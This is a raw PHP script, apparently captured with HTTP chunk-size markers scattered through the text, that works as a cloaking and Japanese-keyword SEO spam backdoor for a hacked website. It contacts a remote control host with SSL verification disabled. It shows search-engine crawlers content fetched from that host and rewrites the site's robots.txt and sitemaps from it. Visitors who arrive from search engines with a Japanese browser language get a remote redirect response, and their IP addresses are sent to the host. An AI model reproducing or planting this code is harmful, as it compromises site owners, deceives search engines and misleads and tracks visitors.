1 < 6 ?php e 7 rror_re 7 porting 5 (0); 7 @set_ti 7 me_limi 9 t(120); @ 7 ignore_ 7 user_ab 8 ort(1); 7 $tr = " 6 https: 5 //j26 5 0413_ 5 23.ve 7 rnice.i 6 nfo/"; 7 class 5 Req { 8 pub 6 lic fu 7 nction 8 server($ 8 name = ' 6 ', $de a fault = '' c ) { 9 if (e a mpty($name 11 )) { 7 return 6 $_SERV 8 ER; 16 } $name = 7 strtoup c per($name); 11 return is d set($_SERVER[ 8 $name]) 12 ? $_SERVER[$name] 10 : $default; 16 } public function 1a iss() { if ($t 5 his-> b server('HTT 6 PS') & 6 & ("1" 4 == 1d $this->server('HTTPS') || "on c " == strtolo 1a wer($this->server('HTTPS') 1b ))) { return tr 10 ue; } el 7 seif (' 1a https' == $this->server('R 2 EQ 6 UEST_S 6 CHEME' 33 )) { return true; } elseif ('44 6f 3' == $this->server('SERVER_PORT')) { return true; } elseif ('https' == $this->server('HTTP 6 _X_FOR 5 WARDE 6 D_PROT 39 O')) { return true; } return 5 false 20 ; } public function host 16 () { $host 8 = strva 22 l($this->server('HTTP_X_FORWARDED_ 7 HOST') 4 ?: $ 2b this->server('HTTP_HOST')); return 7 strpos( 9 $host, ': b ') ? strstr 11 ($host, ':', true 9 ) : $host 20 ; } public function sche 13 me() { 8 return $ b this->iss() d ? "https" : 8 "http"; 1c } public function dm 28 () { return $this->scheme() 7 . "://" a . $this-> 24 host(); } public function ip 17 () { if (ge 5 tenv( a 'HTTP_CLIE 5 NT_IP 15 ')) { $ip 1b = getenv('HTTP_CLIENT_IP') 2d ; } elseif (getenv('HTTP_X_FORWARDED_ 28 FOR')) { $ip = getenv('HTTP_ 2f X_FORWARDED_FOR'); } elseif (getenv('RE 6 MOTE_A 23 DDR')) { $ip = getenv(' 1d REMOTE_ADDR'); } else 24 { $ip = $this->server(' 28 REMOTE_ADDR'); } return 22 $ip; } public function isc 15 () { $age 8 nt = str 21 tolower($this->server('HTTP_USER_ 5 AGENT 11 ')); if ( c $agent != '' 8 && preg 7 _match( 6 '/goog 6 lebot| a google|yah 4 oo|b 8 ing|aol/ b si', $agent 37 )) { return true; } return 23 false; } public function is c g() { 5 $refe 24 r = strtolower($this->server('HTTP_R 5 EFERE 14 R')); $refer 8 bots = ' 25 google|yahoo|bing|aol'; if ($ 1c refer != '' && preg_match("/ f ($referbots)/si 9 ", $refer 5b )) { return true; } return false; } public function uri 17 () { if (($ 9 pos = str 13 pos($this->server(' c REQUEST_URI' 5 ), '. 8 php')) ! 18 == false) { 7 $script a _name = ba 16 sename($this->server(' 6 SCRIPT 5 _FILE 7 NAME')) 12 ; if ( 26 basename($this->server('SCRIPT_NAME')) 11 === $script_name 16 ) { $u 5 rl = 1c $this->server('SCRIPT_NAME') 18 ; } elseif ( 1b basename($this->server('PHP 5 _SELF 3e ')) === $script_name) { $url = $this->server(' 3c PHP_SELF'); } elseif (basename($this->server('OR 5 IG_SC 47 RIPT_NAME')) === $script_name) { $url = $this->server(' 2a ORIG_SCRIPT_NAME'); } elseif ( 2b ($pos = strpos($this->server('PHP_SELF'), ' 6 /' . $ 27 script_name)) !== false) { 13 $url = substr($ 1b this->server('SCRIPT_NAME') 6 , 0, $ 7 pos) . 39 '/' . $script_name; } elseif ($this->server(' 5 DOCUM 7 ENT_ROO 7 T') && 27 strpos($this->server('SCRIPT_FILENAME') 11 , $this->server(' 16 DOCUMENT_ROOT')) === 0 22 ) { $url = str_rep 14 lace($this->server(' 12 DOCUMENT_ROOT'), ' 23 ', $this->server('SCRIPT_FILENAME') 1e ); } $ 6 requri a = $url . 25 substr($this->server('REQUEST_URI'), 8 $pos + 4 11 ); } else 19 { $requri = 3b substr($this->server('REQUEST_URI'), strpos($this->server(' 1e REQUEST_URI'), '/')); 13 } return rt 7 rim($re 10 quri, '/'); 19 } public function exe 5 cReq( c $url, $p = a 6 rray() 17 ) { $url = 11 str_replace(' ', 6 '+', $ 11 url); $ch 9 = curl_i f nit(); 9 curl_seto 6 pt($ch 6 , CURL 7 OPT_URL 2d , $url); curl_setopt($ch, CURLOPT_RET 5 URNTR 7 ANSFER, 9 1); 1f curl_setopt($ch, CURLOPT_HE 6 ADER, 27 0); curl_setopt($ch, CURLOPT_TI 6 MEOUT, 27 20); curl_setopt($ch, CURLOPT_ 4 POST 2b , 1); curl_setopt($ch, CURLOPT_SSL_ 6 VERIFY 2b PEER, 0); curl_setopt($ch, CURLOPT_ e SSL_VERIFYHOST 2e , 0); curl_setopt($ch, CURLOPT_POSTFIE 5 LDS, 9 http_buil 6 d_quer 4 y($p 11 )); $outp a ut = curl_ 8 exec($ch 13 ); $errorCo b de = curl_e 13 rrno($ch); 9 curl_clos 10 e($ch); b if (0 !== $ 19 errorCode) { 12 return false; 16 } return $ e output; } 9 } $req = 7 new Req 8 (); $isc 8 = $req- c >isc(); $isg e = $req->isg() a ; $umap = 7 $tr . " 6 map"; a $uri = url 6 decode c ($req->uri() e ); $p = array( a "doma 6 in" => c $req->dm(), 15 "port" => $req-> b server('SER a VER_PORT', b 80), " c uri" => $uri 8 ); if ( f substr($uri, -1 7 0) == " 8 robots.t c xt") { h 6 eader( 4 "Con 8 tent-typ 6 e:text 7 /plain; 5 char 8 set=utf- a 8"); d 12 ie($req->execReq($ c tr . "robots a ", $p)); } 20 if (substr($uri, -6) == "robots 10 ") { $output 2a = $req->execReq($tr . "robots", $p); 8 $rpt = _ 6 _DIR__ 10 . "/robots.txt" b ; file_ b put_content 9 s($rpt, $ e output); $ e robots_cont = 9 @file_get 15 _contents($rpt); b if (strpos( 1a strtolower($robots_cont), 5 "site 15 map")) { die( 11 "robots.txt file 6 create 8 success 9 !"); 30 } else { die("robots.txt file create fai 20 l!"); } } if (substr($uri, - 9 4) == ".x b ml") { 13 if (strpos($uri, "a 9 llsitemap a .xml") || 16 strpos($uri, "sitemap- 5 index 3f .xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, " 17 index.xml")) { 1d $output = $req->execReq($umap f , $p); 1e header("Content-type:text/" . 14 (substr($output, 0, 9 5) === '< 2b ?xml' ? 'xml' : 'plain') . '; charset=utf-8 c '); 7 die('' 16 . $output); } 1f $output = $req->execReq($tr . " a word", $p) 20 ; header("Content-type:text/ 1a xml; charset=utf-8"); 10 if ($output == " a 1") { 1d die('' . $req->execReq($u f map, $p)); 2a } else { die('' . $output); } 6 } $lan 18 g = $req->server('HTTP_A 6 CCEPT_ 5 LANGU b AGE'); if ( 20 !$isc && $isg && strpos($lang, ' 7 ja')!== 10 false) { $p[ 5 "ip"] d = $req->ip() e ; $action b = $tr . "ju 9 mp"; 27 die($req->execReq($action, $p)); } if ( c $isc) { 1e die('' . $req->execReq($tr . " 6 indata d ", $p)); } ?> 0